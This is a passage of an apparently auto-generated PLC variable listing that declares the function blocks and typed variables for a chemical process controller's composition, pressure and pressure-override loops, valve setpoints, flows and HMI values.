+109;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +120;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +121;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +136;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +137;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +138;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +139;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +141;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +144;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +156;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +157;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +158;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +159;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +160;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +162;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +165;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +171;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +180;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +182;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +191;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +193;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +202;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +205;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +214;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +221;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +222;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +223;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +224;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +225;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +226;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +227;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +228;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; +231;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; +232;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; +233;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +234;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +235;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +236;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +237;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +238;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +239;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +240;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +241;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +242;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +243;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +244;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +245;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +246;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +247;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +248;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +249;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +250;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +251;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +252;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +253;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +254;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +255;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; 